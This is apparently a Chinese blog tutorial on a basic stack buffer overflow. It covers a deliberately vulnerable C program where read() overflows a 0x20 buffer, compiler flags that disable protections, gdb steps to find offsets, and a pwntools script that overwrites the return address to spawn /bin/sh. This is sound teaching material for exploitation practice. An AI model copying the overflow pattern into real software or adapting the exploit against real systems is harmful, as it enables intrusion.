一个简单的pwn例子---read函数

内容:

#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

我们要做的是利用溢出执行exploit函数

分析:
先执行func函数,func函数里有个read函数,read函数会读取我们在屏幕上输入的内容,但不会检查内容的多少,全部复制到str里,但str只能存取20个,如果超出这个值,会造成溢出,我们利用溢出,将ret的返回地址改为exlpoit的地址就可以取执行exploit函数了。

首先,把保护机制关了

gcc -no-pie -fno-stack-protector -z execstack -m32 -g -o  11.exe read.c

在这里插入图片描述
gdb运行调试

gdb 11.exe
start

在这里插入图片描述
找到exlpoit的首地址:0x804843b
在这里插入图片描述
查看main的反汇编:
在这里插入图片描述
调用func函数后,回来执行mov eax,0x0

我们再查看func的反汇编
在这里插入图片描述
执行ret语句后就去执行mov eax,0x0,func函数调用了read函数,我们要利用read函数产生溢出,让执行ret完去执行exploit函数。这个时候我们看看栈内容。
push ebp之前,esp的内容是mov eax,0x0的eip值,lea eax,[ebp-0x28] 是read读取内容的首地址,所以我们让执行ret完去执行exploit函数,只需让exploit的地址去覆盖栈里面mov eax,0x0的eip值,从ebp-0x28mov eax,0x0的eip值,地址相差0x28+0x4,因为在func函数里先push 了edp,所以还要加上0x4。

利用程序:

from pwn import *
p=process('./11.exe')   //文件路径
offset = 0x28+0x4
payload ='a'*offset+p32(0x804843b) //0x804843b是exploit首地址
p.sendline(payload)
p.interactive()

运行,成功获得权限
在这里插入图片描述

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值